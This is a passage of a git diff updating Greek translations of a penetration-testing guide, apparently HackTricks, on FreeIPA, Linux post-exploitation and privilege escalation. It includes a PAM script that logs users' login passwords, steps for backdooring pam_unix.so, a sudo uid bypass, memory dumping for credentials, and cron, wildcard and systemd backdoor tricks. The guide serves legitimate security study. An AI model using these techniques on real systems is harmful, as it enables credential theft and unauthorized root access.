και η επαναχρησιμοποίηση ενός έγκυρου εισιτηρίου CCACHE περιλαμβάνει την εξαγωγή του `KRB5CCNAME` στη διαδρομή του αρχείου εισιτηρίου. ### **Unix Keyring** -Εναλλακτικά, τα εισιτήρια CCACHE μπορούν να αποθηκευτούν στο Linux keyring, προσφέροντας περισσότερη έλεγχο στη διαχείριση εισιτηρίων. Η έκταση της αποθήκευσης εισιτηρίων ποικίλλει (`KEYRING:name`, `KEYRING:process:name`, `KEYRING:thread:name`, `KEYRING:session:name`, `KEYRING:persistent:uidnumber`), με το `klist` ικανό να αναλύει αυτές τις πληροφορίες για τον χρήστη. Ωστόσο, η επαναχρησιμοποίηση ενός εισιτηρίου CCACHE από το Unix keyring μπορεί να παρουσιάσει προκλήσεις, με εργαλεία όπως το **Tickey** διαθέσιμα για την εξαγωγή εισιτηρίων Kerberos. +Εναλλακτικά, τα εισιτήρια CCACHE μπορούν να αποθηκευτούν στο κλειδί Linux, προσφέροντας περισσότερη έλεγχο στη διαχείριση εισιτηρίων. Η έκταση της αποθήκευσης εισιτηρίων ποικίλλει (`KEYRING:name`, `KEYRING:process:name`, `KEYRING:thread:name`, `KEYRING:session:name`, `KEYRING:persistent:uidnumber`), με το `klist` ικανό να αναλύει αυτές τις πληροφορίες για τον χρήστη. Ωστόσο, η επαναχρησιμοποίηση ενός εισιτηρίου CCACHE από το Unix keyring μπορεί να προκαλέσει προκλήσεις, με εργαλεία όπως το **Tickey** διαθέσιμα για την εξαγωγή εισιτηρίων Kerberos. ### Keytab @@ -54,9 +54,9 @@ privilege-escalation/linux-active-directory.md ### Hosts, Users, and Groups -Είναι δυνατή η δημιουργία **hosts**, **users** και **groups**. Οι υπολογιστές και οι χρήστες ταξινομούνται σε κοντέινερ που ονομάζονται “**Host Groups**” και “**User Groups**” αντίστοιχα. Αυτά είναι παρόμοια με τις **Οργανωτικές Μονάδες** (OU). +Είναι δυνατή η δημιουργία **hosts**, **users** και **groups**. Οι υπολογιστές και οι χρήστες ταξινομούνται σε κοντέινερ που ονομάζονται “**Host Groups**” και “**User Groups**” αντίστοιχα. Αυτά είναι παρόμοια με τις **Organizational Units** (OU). -Από προεπιλογή στο FreeIPA, ο LDAP διακομιστής επιτρέπει **ανώνυμες συνδέσεις**, και μια μεγάλη έκταση δεδομένων είναι αναγνωρίσιμη **χωρίς αυθεντικοποίηση**. Αυτό μπορεί να αναγνωρίσει όλα τα διαθέσιμα δεδομένα χωρίς αυθεντικοποίηση: +Από προεπιλογή στο FreeIPA, ο LDAP διακομιστής επιτρέπει **ανώνυμες συνδέσεις**, και μια μεγάλη ποσότητα δεδομένων είναι αναγνωρίσιμη **χωρίς αυθεντικοποίηση**. Αυτό μπορεί να αναγνωρίσει όλα τα διαθέσιμα δεδομένα χωρίς αυθεντικοποίηση: ``` ldapsearch -x ``` @@ -88,7 +88,7 @@ ipa usergroup-show --all ipa host-find --all ipa hostgroup-show --all ``` -> [!NOTE] +> [!TIP] > Ο χρήστης **admin** του **FreeIPA** είναι ισοδύναμος με τους **domain admins** από το **AD**. ### Hashes @@ -100,11 +100,11 @@ ipa hostgroup-show --all Για να σπάσετε αυτούς τους κωδικούς: -• Αν το freeIPA είναι ενσωματωμένο με το AD, το **ipaNTHash** είναι εύκολο να σπάσει: Πρέπει να **decode** **base64** -> να το ξανακωδικοποιήσετε ως **ASCII** hex -> το John The Ripper ή το **hashcat** μπορούν να σας βοηθήσουν να το σπάσετε γρήγορα +• Αν το freeIPA είναι ενσωματωμένο με το AD, ο **ipaNTHash** είναι εύκολος να σπάσει: Πρέπει να **decode** **base64** -> να το ξανακωδικοποιήσετε ως **ASCII** hex -> το John The Ripper ή το **hashcat** μπορούν να σας βοηθήσουν να το σπάσετε γρήγορα • Αν χρησιμοποιείται παλιά έκδοση του FreeIPA, τότε χρησιμοποιείται **SSHA512**: Πρέπει να αποκωδικοποιήσετε **base64** -> να βρείτε τον κωδικό **SSHA512** -> το John The Ripper ή το **hashcat** μπορούν να σας βοηθήσουν να το σπάσετε -• Αν χρησιμοποιείται νέα έκδοση του FreeIPA, τότε χρησιμοποιείται **PBKDF2_SHA256**: Πρέπει να αποκωδικοποιήσετε **base64** -> να βρείτε το PBKDF2_SHA256 -> το **length** του είναι 256 byte. Ο John μπορεί να δουλέψει με 256 bits (32 byte) -> το SHA-265 χρησιμοποιείται ως η ψευδο-τυχαία συνάρτηση, το μέγεθος μπλοκ είναι 32 byte -> μπορείτε να χρησιμοποιήσετε μόνο τα πρώτα 256 bit του κωδικού PBKDF2_SHA256 -> το John The Ripper ή το hashcat μπορούν να σας βοηθήσουν να το σπάσετε +• Αν χρησιμοποιείται νέα έκδοση του FreeIPA, τότε χρησιμοποιείται **PBKDF2_SHA256**: Πρέπει να αποκωδικοποιήσετε **base64** -> να βρείτε το PBKDF2_SHA256 -> το **length** του είναι 256 byte. Ο John μπορεί να δουλέψει με 256 bits (32 byte) -> το SHA-265 χρησιμοποιείται ως η ψευδο-τυχαία συνάρτηση, το μέγεθος μπλοκ είναι 32 byte -> μπορείτε να χρησιμοποιήσετε μόνο τα πρώτα 256 bits του κωδικού PBKDF2_SHA256 -> το John The Ripper ή το hashcat μπορούν να σας βοηθήσουν να το σπάσετε
@@ -136,15 +136,15 @@ ipa sudorule-show --all ``` ### Έλεγχος Πρόσβασης Βασισμένος σε Ρόλους -Ένας **ρόλος** αποτελείται από διάφορα **προνόμια**, το καθένα από τα οποία περιλαμβάνει μια συλλογή **αδειών**. Αυτοί οι ρόλοι μπορούν να ανατεθούν σε Χρήστες, Ομάδες Χρηστών, **Hosts**, Ομάδες Hosts και Υπηρεσίες. Για παράδειγμα, εξετάστε τον προεπιλεγμένο ρόλο “Διαχειριστής Χρηστών” στο FreeIPA για να παραδείξετε αυτή τη δομή. +Ένας **ρόλος** αποτελείται από διάφορα **προνόμια**, το καθένα από τα οποία περιλαμβάνει μια συλλογή **δικαιωμάτων**. Αυτοί οι ρόλοι μπορούν να ανατεθούν σε Χρήστες, Ομάδες Χρηστών, **Hosts**, Ομάδες Hosts και Υπηρεσίες. Για παράδειγμα, εξετάστε τον προεπιλεγμένο ρόλο “User Administrator” στο FreeIPA για να παραδείξετε αυτή τη δομή. -Ο ρόλος `Διαχειριστής Χρηστών` έχει αυτά τα προνόμια: +Ο ρόλος `User Administrator` έχει αυτά τα προνόμια: -- **Διαχειριστές Χρηστών** -- **Διαχειριστές Ομάδων** -- **Διαχειριστές Χρηστών Σταδίου** +- **User Administrators** +- **Group Administrators** +- **Stage User Administrators** -Με τις παρακάτω εντολές είναι δυνατή η απαρίθμηση των ρόλων, προνομίων και αδειών: +Με τις παρακάτω εντολές είναι δυνατή η απαρίθμηση των ρόλων, προνομίων και δικαιωμάτων: ```bash # Using ldap ldapsearch -Y gssapi -b "cn=roles,cn=accounts,dc=westeros,dc=local" @@ -158,7 +158,7 @@ ipa permission-show --all ``` ### Παράδειγμα Σεναρίου Επίθεσης -Στο [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) μπορείτε να βρείτε ένα απλό παράδειγμα για το πώς να εκμεταλλευτείτε ορισμένα δικαιώματα για να συμβιβάσετε το domain. +Στο [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) μπορείτε να βρείτε ένα απλό παράδειγμα για το πώς να εκμεταλλευτείτε κάποιες άδειες για να συμβιβάσετε το domain. ### Linikatz/LinikatzV2 diff --git a/src/linux-hardening/linux-post-exploitation/README.md b/src/linux-hardening/linux-post-exploitation/README.md index b911664f3..1b954e491 100644 --- a/src/linux-hardening/linux-post-exploitation/README.md +++ b/src/linux-hardening/linux-post-exploitation/README.md @@ -4,7 +4,7 @@ ## Sniffing Logon Passwords with PAM -Ας ρυθμίσουμε ένα module PAM για να καταγράφει κάθε κωδικό πρόσβασης που χρησιμοποιεί κάθε χρήστης για να συνδεθεί. Αν δεν ξέρετε τι είναι το PAM, ελέγξτε: +Ας ρυθμίσουμε ένα module PAM για να καταγράφουμε κάθε κωδικό πρόσβασης που χρησιμοποιεί κάθε χρήστης για να συνδεθεί. Αν δεν ξέρετε τι είναι το PAM, ελέγξτε: {{#ref}} pam-pluggable-authentication-modules.md @@ -18,8 +18,8 @@ pam-pluggable-authentication-modules.md **Καταγραφή Διαπιστευτηρίων:** - Ένα script bash με όνομα `toomanysecrets.sh` έχει δημιουργηθεί για να καταγράφει τις προσπάθειες σύνδεσης, καταγράφοντας την ημερομηνία, το όνομα χρήστη (`$PAM_USER`), τον κωδικό πρόσβασης (μέσω stdin) και τη διεύθυνση IP του απομακρυσμένου υπολογιστή (`$PAM_RHOST`) στο `/var/log/toomanysecrets.log`. -- Το script καθίσταται εκτελέσιμο και ενσωματώνεται στη ρύθμιση PAM (`common-auth`) χρησιμοποιώντας το module `pam_exec.so` με επιλογές για ήσυχη εκτέλεση και έκθεση του διαπιστευτηρίου αυθεντικοποίησης στο script. -- Η προσέγγιση δείχνει πώς ένας παραβιασμένος Linux host μπορεί να εκμεταλλευτεί για να καταγράψει διαπιστευτήρια διακριτικά. +- Το script γίνεται εκτελέσιμο και ενσωματώνεται στη ρύθμιση PAM (`common-auth`) χρησιμοποιώντας το module `pam_exec.so` με επιλογές για ήσυχη εκτέλεση και έκθεση του διαπιστευτηρίου αυθεντικοποίησης στο script. +- Η προσέγγιση δείχνει πώς ένας συμβιβασμένος Linux host μπορεί να εκμεταλλευτεί για να καταγράψει διαπιστευτήρια διακριτικά. ```bash #!/bin/sh echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log @@ -33,21 +33,21 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh **Για περισσότερες λεπτομέρειες, ελέγξτε την [αρχική ανάρτηση](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Αυτό είναι απλώς μια περίληψη: -Το Pluggable Authentication Module (PAM) είναι ένα σύστημα που χρησιμοποιείται κάτω από το Linux για την αυθεντικοποίηση χρηστών. Λειτουργεί σε τρία κύρια concepts: **όνομα χρήστη**, **κωδικός πρόσβασης** και **υπηρεσία**. Τα αρχεία ρύθμισης παραμέτρων για κάθε υπηρεσία βρίσκονται στον κατάλογο `/etc/pam.d/`, όπου οι κοινές βιβλιοθήκες διαχειρίζονται την αυθεντικοποίηση. +Το Pluggable Authentication Module (PAM) είναι ένα σύστημα που χρησιμοποιείται κάτω από το Linux για την αυθεντικοποίηση χρηστών. Λειτουργεί σε τρεις κύριες έννοιες: **όνομα χρήστη**, **κωδικός πρόσβασης** και **υπηρεσία**. Τα αρχεία ρύθμισης παραμέτρων για κάθε υπηρεσία βρίσκονται στον κατάλογο `/etc/pam.d/`, όπου οι κοινές βιβλιοθήκες διαχειρίζονται την αυθεντικοποίηση. -**Στόχος**: Τροποποιήστε το PAM για να επιτρέψετε την αυθεντικοποίηση με έναν συγκεκριμένο κωδικό πρόσβασης, παρακάμπτοντας τον πραγματικό κωδικό πρόσβασης του χρήστη. Αυτό εστιάζει ιδιαίτερα στη κοινή βιβλιοθήκη `pam_unix.so` που χρησιμοποιείται από το αρχείο `common-auth`, το οποίο περιλαμβάνεται σχεδόν σε όλες τις υπηρεσίες για την επαλήθευση κωδικών πρόσβασης. +**Στόχος**: Να τροποποιηθεί το PAM ώστε να επιτρέπει την αυθεντικοποίηση με έναν συγκεκριμένο κωδικό πρόσβασης, παρακάμπτοντας τον πραγματικό κωδικό πρόσβασης του χρήστη. Αυτό εστιάζει ιδιαίτερα στη κοινή βιβλιοθήκη `pam_unix.so` που χρησιμοποιείται από το αρχείο `common-auth`, το οποίο περιλαμβάνεται σχεδόν από όλες τις υπηρεσίες για την επαλήθευση κωδικών πρόσβασης. ### Βήματα για την Τροποποίηση του `pam_unix.so`: 1. **Εντοπίστε την Κατεύθυνση Αυθεντικοποίησης** στο αρχείο `common-auth`: - Η γραμμή που είναι υπεύθυνη για τον έλεγχο του κωδικού πρόσβασης ενός χρήστη καλεί το `pam_unix.so`. 2. **Τροποποιήστε τον Πηγαίο Κώδικα**: -- Προσθέστε μια συνθήκη στο αρχείο πηγαίου κώδικα `pam_unix_auth.c` που παραχωρεί πρόσβαση αν χρησιμοποιηθεί ένας προκαθορισμένος κωδικός πρόσβασης, διαφορετικά, προχωρά στη συνήθη διαδικασία αυθεντικοποίησης. -3. **Ανασυγκροτήστε και Αντικαταστήστε** τη τροποποιημένη βιβλιοθήκη `pam_unix.so` στον κατάλληλο κατάλογο. +- Προσθέστε μια συνθήκη στο αρχείο πηγαίου κώδικα `pam_unix_auth.c` που θα παραχωρεί πρόσβαση αν χρησιμοποιηθεί ένας προκαθορισμένος κωδικός πρόσβασης, διαφορετικά, θα προχωρά στη συνήθη διαδικασία αυθεντικοποίησης. +3. **Επανασυναρμολόγηση και Αντικατάσταση** της τροποποιημένης βιβλιοθήκης `pam_unix.so` στον κατάλληλο κατάλογο. 4. **Δοκιμή**: - Η πρόσβαση παραχωρείται σε διάφορες υπηρεσίες (login, ssh, sudo, su, screensaver) με τον προκαθορισμένο κωδικό πρόσβασης, ενώ οι κανονικές διαδικασίες αυθεντικοποίησης παραμένουν ανεπηρέαστες. -> [!NOTE] +> [!TIP] > Μπορείτε να αυτοματοποιήσετε αυτή τη διαδικασία με [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 61cdeaad2..17640f9a7 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,13 +6,13 @@ ### OS info -Ας ξεκινήσουμε αποκτώντας κάποιες γνώσεις για το λειτουργικό σύστημα που τρέχει +Ας αρχίσουμε να αποκτούμε κάποιες γνώσεις για το λειτουργικό σύστημα που τρέχει ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Path +### Διαδρομή Αν έχετε **δικαιώματα εγγραφής σε οποιονδήποτε φάκελο μέσα στη μεταβλητή `PATH`** μπορεί να είστε σε θέση να υποκλέψετε κάποιες βιβλιοθήκες ή δυαδικά αρχεία: ```bash @@ -33,7 +33,7 @@ uname -a searchsploit "Linux Kernel" ``` Μπορείτε να βρείτε μια καλή λίστα ευάλωτων πυρήνων και μερικά ήδη **compiled exploits** εδώ: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) και [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Άλλες ιστοσελίδες όπου μπορείτε να βρείτε μερικά **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Άλλες τοποθεσίες όπου μπορείτε να βρείτε μερικά **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) Για να εξάγετε όλες τις ευάλωτες εκδόσεις πυρήνα από αυτή την ιστοσελίδα μπορείτε να κάνετε: ```bash @@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash ``` ### Dmesg signature verification failed -Ελέγξτε το **smasher2 box of HTB** για ένα **παράδειγμα** του πώς αυτή η ευπάθεια θα μπορούσε να εκμεταλλευτεί. +Δείτε το **smasher2 box of HTB** για ένα **παράδειγμα** του πώς αυτή η ευπάθεια θα μπορούσε να εκμεταλλευτεί. ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -125,13 +125,14 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null Αν βρίσκεστε μέσα σε ένα docker container, μπορείτε να προσπαθήσετε να διαφύγετε από αυτό: + {{#ref}} docker-security/ {{#endref}} ## Drives -Ελέγξτε **τι είναι προσαρτημένο και τι δεν είναι**, πού και γιατί. Αν κάτι δεν είναι προσαρτημένο, μπορείτε να προσπαθήσετε να το προσαρτήσετε και να ελέγξετε για ιδιωτικές πληροφορίες. +Ελέγξτε **τι είναι τοποθετημένο και τι δεν είναι**, πού και γιατί. Αν κάτι δεν είναι τοποθετημένο, μπορείτε να προσπαθήσετε να το τοποθετήσετε και να ελέγξετε για ιδιωτικές πληροφορίες. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -168,12 +169,12 @@ ps aux ps -ef top -n 1 ``` -Πάντα να ελέγχετε για πιθανές [**electron/cef/chromium debuggers** που εκτελούνται, μπορείτε να το εκμεταλλευτείτε για να ανεβάσετε δικαιώματα](electron-cef-chromium-debugger-abuse.md). **Linpeas** ανιχνεύει αυτά ελέγχοντας την παράμετρο `--inspect` μέσα στη γραμμή εντολών της διαδικασίας.\ +Πάντα να ελέγχετε για πιθανές [**electron/cef/chromium debuggers** που εκτελούνται, μπορείτε να το εκμεταλλευτείτε για να ανεβάσετε δικαιώματα](electron-cef-chromium-debugger-abuse.md). **Linpeas** ανιχνεύουν αυτά ελέγχοντας την παράμετρο `--inspect` μέσα στη γραμμή εντολών της διαδικασίας.\ Επίσης **ελέγξτε τα δικαιώματά σας πάνω στα δυαδικά αρχεία των διαδικασιών**, ίσως μπορείτε να αντικαταστήσετε κάποιον. ### Παρακολούθηση διαδικασιών -Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**pspy**](https://github.com/DominicBreuker/pspy) για να παρακολουθείτε διαδικασίες. Αυτό μπορεί να είναι πολύ χρήσιμο για να εντοπίσετε ευάλωτες διαδικασίες που εκτελούνται συχνά ή όταν πληρούνται ένα σύνολο απαιτήσεων. +Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**pspy**](https://github.com/DominicBreuker/pspy) για να παρακολουθείτε διαδικασίες. Αυτό μπορεί να είναι πολύ χρήσιμο για να εντοπίσετε ευάλωτες διαδικασίες που εκτελούνται συχνά ή όταν πληρούνται ένα σύνολο απαιτήσεων. ### Μνήμη διαδικασίας @@ -182,11 +183,11 @@ top -n 1 Ωστόσο, θυμηθείτε ότι **ως κανονικός χρήστης μπορείτε να διαβάσετε τη μνήμη των διαδικασιών που κατέχετε**. > [!WARNING] -> Σημειώστε ότι σήμερα οι περισσότερες μηχανές **δεν επιτρέπουν το ptrace από προεπιλογή** που σημαίνει ότι δεν μπορείτε να αποθηκεύσετε άλλες διαδικασίες που ανήκουν στον μη προνομιούχο χρήστη σας. +> Σημειώστε ότι σήμερα οι περισσότερες μηχανές **δεν επιτρέπουν το ptrace από προεπιλογή** που σημαίνει ότι δεν μπορείτε να κάνετε dump άλλων διαδικασιών που ανήκουν στον μη προνομιούχο χρήστη σας. > > Το αρχείο _**/proc/sys/kernel/yama/ptrace_scope**_ ελέγχει την προσβασιμότητα του ptrace: > -> - **kernel.yama.ptrace_scope = 0**: όλες οι διαδικασίες μπορούν να αποσφαλματωθούν, εφόσον έχουν το ίδιο uid. Αυτός είναι ο κλασικός τρόπος με τον οποίο λειτουργούσε το ptracing. +> - **kernel.yama.ptrace_scope = 0**: όλες οι διαδικασίες μπορούν να αποσφαλματωθούν, αρκεί να έχουν το ίδιο uid. Αυτός είναι ο κλασικός τρόπος με τον οποίο λειτουργούσε το ptracing. > - **kernel.yama.ptrace_scope = 1**: μόνο μια γονική διαδικασία μπορεί να αποσφαλματωθεί. > - **kernel.yama.ptrace_scope = 2**: Μόνο ο διαχειριστής μπορεί να χρησιμοποιήσει το ptrace, καθώς απαιτεί την ικανότητα CAP_SYS_PTRACE. > - **kernel.yama.ptrace_scope = 3**: Καμία διαδικασία δεν μπορεί να παρακολουθηθεί με ptrace. Μόλις ρυθμιστεί, απαιτείται επανεκκίνηση για να ενεργοποιηθεί ξανά το ptracing. @@ -215,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Για μια δεδομένη ταυτότητα διαδικασίας, **τα maps δείχνουν πώς είναι χαρτογραφημένη η μνήμη μέσα στον εικονικό χώρο διευθύνσεων αυτής της διαδικασίας**; δείχνει επίσης **τα δικαιώματα κάθε χαρτογραφημένης περιοχής**. Το **mem** ψευδοαρχείο **εκθέτει τη μνήμη των διαδικασιών**. Από το αρχείο **maps** γνωρίζουμε ποιες **περιοχές μνήμης είναι αναγνώσιμες** και τους offset τους. Χρησιμοποιούμε αυτές τις πληροφορίες για να **αναζητήσουμε στο αρχείο mem και να εξάγουμε όλες τις αναγνώσιμες περιοχές** σε ένα αρχείο. +Για μια δεδομένη ταυτότητα διαδικασίας, **τα maps δείχνουν πώς είναι χαρτογραφημένη η μνήμη μέσα στον εικονικό χώρο διευθύνσεων αυτής της διαδικασίας**; δείχνει επίσης τις **άδειες κάθε χαρτογραφημένης περιοχής**. Το **mem** ψευδοαρχείο **εκθέτει τη μνήμη των διαδικασιών**. Από το αρχείο **maps** γνωρίζουμε ποιες **περιοχές μνήμης είναι αναγνώσιμες** και τους offset τους. Χρησιμοποιούμε αυτές τις πληροφορίες για να **αναζητήσουμε στο αρχείο mem και να εξάγουμε όλες τις αναγνώσιμες περιοχές** σε ένα αρχείο. ```bash procdump() ( @@ -270,7 +271,7 @@ Press Ctrl-C to end monitoring without terminating the process. - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) - [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Μπορείτε να αφαιρέσετε χειροκίνητα τις απαιτήσεις root και να εξάγετε τη διαδικασία που ανήκει σε εσάς -- Το Script A.5 από [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (απαιτείται root) +- Script A.5 από [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (απαιτείται root) ### Διαπιστευτήρια από τη Μνήμη Διαδικασίας @@ -288,16 +289,16 @@ strings *.dump | grep -i password ``` #### mimipenguin -Το εργαλείο [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) θα **κλέψει καθαρές πιστοποιήσεις από τη μνήμη** και από μερικά **γνωστά αρχεία**. Απαιτεί δικαιώματα root για να λειτουργήσει σωστά. +Το εργαλείο [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) θα **κλέψει καθαρές πιστοποιήσεις από τη μνήμη** και από ορισμένα **καλά γνωστά αρχεία**. Απαιτεί δικαιώματα root για να λειτουργήσει σωστά. -| Χαρακτηριστικό | Όνομα Διαδικασίας | -| -------------------------------------------------- | --------------------- | -| Κωδικός GDM (Kali Desktop, Debian Desktop) | gdm-password | -| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | -| LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Ενεργές Συνδέσεις FTP) | vsftpd | -| Apache2 (Ενεργές Συνεδρίες HTTP Basic Auth) | apache2 | -| OpenSSH (Ενεργές Συνεδρίες SSH - Χρήση Sudo) | sshd: | +| Χαρακτηριστικό | Όνομα Διαδικασίας | +| ------------------------------------------------- | -------------------- | +| Κωδικός GDM (Kali Desktop, Debian Desktop) | gdm-password | +| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | +| LightDM (Ubuntu Desktop) | lightdm | +| VSFTPd (Ενεργές Συνδέσεις FTP) | vsftpd | +| Apache2 (Ενεργές Συνεδρίες HTTP Basic Auth) | apache2 | +| OpenSSH (Ενεργές Συνεδρίες SSH - Χρήση Sudo) | sshd: | #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -344,11 +345,12 @@ rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh mys Διαβάστε την παρακάτω σελίδα για περισσότερα κόλπα εκμετάλλευσης wildcard: + {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Επικάλυψη σεναρίου Cron και symlink +### Επικαλύψεις σεναρίων Cron και symlink Αν **μπορείτε να τροποποιήσετε ένα σενάριο cron** που εκτελείται από τον root, μπορείτε να αποκτήσετε ένα shell πολύ εύκολα: ```bash @@ -362,7 +364,7 @@ ln -d -s ``` ### Συχνές cron εργασίες -Μπορείτε να παρακολουθήσετε τις διαδικασίες για να αναζητήσετε διαδικασίες που εκτελούνται κάθε 1, 2 ή 5 λεπτά. Ίσως μπορείτε να το εκμεταλλευτείτε και να κλιμακώσετε τα δικαιώματα. +Μπορείτε να παρακολουθήσετε τις διαδικασίες για να αναζητήσετε διαδικασίες που εκτελούνται κάθε 1, 2 ή 5 λεπτά. Ίσως μπορείτε να εκμεταλλευτείτε αυτό και να κερδίσετε δικαιώματα. Για παράδειγμα, για να **παρακολουθήσετε κάθε 0.1s κατά τη διάρκεια 1 λεπτού**, **ταξινομήστε κατά λιγότερες εκτελέσεις εντολών** και διαγράψτε τις εντολές που έχουν εκτελεστεί περισσότερο, μπορείτε να κάνετε: ```bash @@ -372,20 +374,20 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### Αόρατα cron jobs -Είναι δυνατόν να δημιουργήσετε ένα cronjob **βάζοντας ένα χαρακτήρα επιστροφής καροτσιού μετά από ένα σχόλιο** (χωρίς χαρακτήρα νέας γραμμής), και το cron job θα λειτουργήσει. Παράδειγμα (σημειώστε τον χαρακτήρα επιστροφής καροτσιού): +Είναι δυνατόν να δημιουργήσετε ένα cronjob **βάζοντας μια επιστροφή καροτσιού μετά από ένα σχόλιο** (χωρίς χαρακτήρα νέας γραμμής), και το cron job θα λειτουργήσει. Παράδειγμα (σημειώστε τον χαρακτήρα επιστροφής καροτσιού): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Υπηρεσίες -### Γραφές _.service_ που είναι εγγράψιμες +### Γραφές _.service_ που είναι εγ writable -Ελέγξτε αν μπορείτε να γράψετε οποιοδήποτε αρχείο `.service`, αν μπορείτε, θα **μπορούσατε να το τροποποιήσετε** ώστε να **εκτελεί** την **πίσω πόρτα σας όταν** η υπηρεσία **ξεκινά**, **επανεκκινείται** ή **σταματά** (ίσως χρειαστεί να περιμένετε μέχρι να επανεκκινήσει η μηχανή).\ -Για παράδειγμα, δημιουργήστε την πίσω πόρτα σας μέσα στο αρχείο .service με **`ExecStart=/tmp/script.sh`** +Ελέγξτε αν μπορείτε να γράψετε οποιοδήποτε αρχείο `.service`, αν μπορείτε, θα **μπορούσατε να το τροποποιήσετε** ώστε να **εκτελεί** το **backdoor σας όταν** η υπηρεσία **ξεκινά**, **επανεκκινείται** ή **σταματά** (ίσως χρειαστεί να περιμένετε μέχρι να επανεκκινήσει η μηχανή).\ +Για παράδειγμα, δημιουργήστε το backdoor σας μέσα στο αρχείο .service με **`ExecStart=/tmp/script.sh`** -### Εκτελέσιμα αρχεία υπηρεσίας που είναι εγγράψιμα +### Εκτελέσιμα αρχεία υπηρεσίας που είναι εγ writable -Λάβετε υπόψη ότι αν έχετε **δικαιώματα εγγραφής σε εκτελέσιμα αρχεία που εκτελούνται από υπηρεσίες**, μπορείτε να τα αλλάξετε με πίσω πόρτες, έτσι ώστε όταν οι υπηρεσίες εκτελούνται ξανά, οι πίσω πόρτες να εκτελούνται. +Λάβετε υπόψη ότι αν έχετε **δικαιώματα εγγραφής σε εκτελέσιμα αρχεία που εκτελούνται από υπηρεσίες**, μπορείτε να τα αλλάξετε με backdoors ώστε όταν οι υπηρεσίες εκτελούνται ξανά, τα backdoors να εκτελούνται. ### systemd PATH - Σχετικές Διαδρομές @@ -405,7 +407,7 @@ ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ## **Χρονοδιακόπτες** -Οι **Χρονοδιακόπτες** είναι αρχεία μονάδας systemd των οποίων το όνομα τελειώνει σε `**.timer**` που ελέγχουν τα αρχεία `**.service**` ή τα γεγονότα. Οι **Χρονοδιακόπτες** μπορούν να χρησιμοποιηθούν ως εναλλακτική λύση στο cron καθώς έχουν ενσωματωμένη υποστήριξη για γεγονότα χρονικού ημερολογίου και μονοτονικών χρονικών γεγονότων και μπορούν να εκτελούνται ασύγχρονα. +Οι **Χρονοδιακόπτες** είναι αρχεία μονάδας systemd των οποίων το όνομα τελειώνει σε `**.timer**` που ελέγχουν τα αρχεία `**.service**` ή γεγονότα. Οι **Χρονοδιακόπτες** μπορούν να χρησιμοποιηθούν ως εναλλακτική λύση στο cron καθώς έχουν ενσωματωμένη υποστήριξη για γεγονότα χρονικού ημερολογίου και μονοτονικών χρονικών γεγονότων και μπορούν να εκτελούνται ασύγχρονα. Μπορείτε να απαριθμήσετε όλους τους χρονοδιακόπτες με: ```bash @@ -421,10 +423,10 @@ Unit=backdoor.service > Η μονάδα που θα ενεργοποιηθεί όταν λήξει αυτός ο χρονοδιακόπτης. Το επιχείρημα είναι ένα όνομα μονάδας, του οποίου το επίθημα δεν είναι ".timer". Αν δεν καθοριστεί, αυτή η τιμή προεπιλέγεται σε μια υπηρεσία που έχει το ίδιο όνομα με τη μονάδα χρονοδιακόπτη, εκτός από το επίθημα. (Δείτε παραπάνω.) Συνιστάται το όνομα της μονάδας που ενεργοποιείται και το όνομα της μονάδας χρονοδιακόπτη να είναι 